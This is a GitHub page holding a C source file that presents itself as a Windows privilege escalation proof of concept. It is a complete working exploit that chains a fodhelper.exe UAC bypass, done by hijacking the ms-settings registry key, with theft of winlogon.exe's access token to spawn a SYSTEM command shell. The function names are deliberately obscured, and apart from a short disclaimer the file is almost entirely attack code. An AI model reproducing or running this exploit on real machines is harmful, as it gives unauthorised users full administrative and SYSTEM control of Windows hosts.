-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathPrivEsc01.c
More file actions
270 lines (227 loc) · 6.31 KB
/
PrivEsc01.c
File metadata and controls
270 lines (227 loc) · 6.31 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
/*
* Windows Privilege Escalation Exploit
* Copyright (c) 2025 28zaakypro@proton.me
*
* Description: POC Double privilege escalation exploit (User -> Admin -> SYSTEM)
* Techniques: UAC Bypass + Token Stealing
* Platforms: Windows 10/11
*
* Educational purposes only. Use only on systems you own or have explicit permission to test.
* Version: 1.1
*
* DISCLAIMER: This code is for educational and authorized penetration testing only.
* It is a laboratory Proof of Concept, not a weaponized exploit.
* The author is not responsible for any misuse of this code.
*/
// gcc -o PrivEsc.exe .\PrivEsc01.c -ladvapi32 -lshell32 -luser32
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
BOOL aaa();
BOOL bbb();
BOOL ccc();
DWORD ddd();
BOOL eee();
BOOL aaa()
{
BOOL aaa = FALSE;
PSID adminGroup = NULL;
SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY;
if (AllocateAndInitializeSid(&ntAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,
DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup))
{
if (!CheckTokenMembership(NULL, adminGroup, &aaa))
{
aaa = FALSE;
}
FreeSid(adminGroup);
}
return aaa;
}
BOOL bbb()
{
HKEY hKey = NULL;
LONG result;
const char *registryPath = "Software\\Classes\\ms-settings\\Shell\\Open\\command";
const char *delegateExecute = "";
char currentExe[MAX_PATH];
if (GetModuleFileNameA(NULL, currentExe, MAX_PATH) == 0)
{
return FALSE;
}
char command[MAX_PATH + 50];
snprintf(command, sizeof(command), "cmd /c start \"\" \"%s\" --admin", currentExe);
result = RegCreateKeyExA(HKEY_CURRENT_USER, registryPath, 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL);
if (result != ERROR_SUCCESS)
{
return FALSE;
}
result = RegSetValueExA(hKey, "", 0, REG_SZ, (BYTE *)command, (DWORD)strlen(command) + 1);
if (result != ERROR_SUCCESS)
{
RegCloseKey(hKey);
return FALSE;
}
result = RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, (BYTE *)delegateExecute, (DWORD)strlen(delegateExecute) + 1);
if (result != ERROR_SUCCESS)
{
RegCloseKey(hKey);
return FALSE;
}
RegCloseKey(hKey);
SHELLEXECUTEINFOA sei = {sizeof(sei)};
sei.lpFile = "C:\\Windows\\System32\\fodhelper.exe";
sei.nShow = SW_HIDE;
if (ShellExecuteExA(&sei))
{
Sleep(3000);
RegDeleteKeyA(HKEY_CURRENT_USER, registryPath);
return TRUE;
}
else
{
DWORD error = GetLastError();
}
}
BOOL ccc()
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
char *privileges[] = {
SE_DEBUG_NAME,
SE_IMPERSONATE_NAME,
SE_ASSIGNPRIMARYTOKEN_NAME,
SE_INCREASE_QUOTA_NAME};
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
return FALSE;
}
for (int i = 0; i < sizeof(privileges) / sizeof(privileges[0]); i++)
{
if (LookupPrivilegeValue(NULL, privileges[i], &luid))
{
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
}
}
CloseHandle(hToken);
return TRUE;
}
DWORD ddd()
{
const char *targetProcName = "winlogon.exe";
DWORD processID = 0;
HANDLE processSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (processSnapshot == INVALID_HANDLE_VALUE)
{
return 0;
}
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(processSnapshot, &processEntry))
{
CloseHandle(processSnapshot);
return 0;
}
do
{
if (strcmp(targetProcName, processEntry.szExeFile) == 0)
{
processID = processEntry.th32ProcessID;
break;
}
} while (Process32Next(processSnapshot, &processEntry));
CloseHandle(processSnapshot);
return processID;
}
BOOL eee()
{
DWORD pid = ddd();
if (pid == 0)
{
return FALSE;
}
if (!ccc())
{
return FALSE;
}
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess)
{
return FALSE;
}
HANDLE hToken, hDupToken;
if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hToken))
{
CloseHandle(hProcess);
return FALSE;
}
SECURITY_IMPERSONATION_LEVEL seImpersonateLevel = SecurityImpersonation;
TOKEN_TYPE tokenType = TokenPrimary;
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, seImpersonateLevel, tokenType, &hDupToken))
{
CloseHandle(hToken);
CloseHandle(hProcess);
return FALSE;
}
STARTUPINFOW si = {sizeof(si)};
PROCESS_INFORMATION pi = {0};
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
wchar_t cmdPath[MAX_PATH];
GetSystemDirectoryW(cmdPath, MAX_PATH);
wcscat(cmdPath, L"\\cmd.exe");
if (!CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE, cmdPath, NULL, 0, NULL, NULL, &si, &pi))
{
if (!CreateProcessAsUserW(hDupToken, cmdPath, NULL, NULL, NULL, FALSE,
CREATE_NEW_CONSOLE, NULL, L"C:\\Windows\\System32", &si, &pi))
{
//
}
else
{
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
else
{
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
CloseHandle(hToken);
CloseHandle(hDupToken);
CloseHandle(hProcess);
return TRUE;
}
int main(int argc, char *argv[])
{
if (argc > 1 && strcmp(argv[1], "--admin") == 0)
{
if (aaa())
{
eee();
}
else
{
return 1;
}
}
else
{
if (aaa())
{
eee();
}
else
{
bbb();
}
}
getchar();
return 0;
}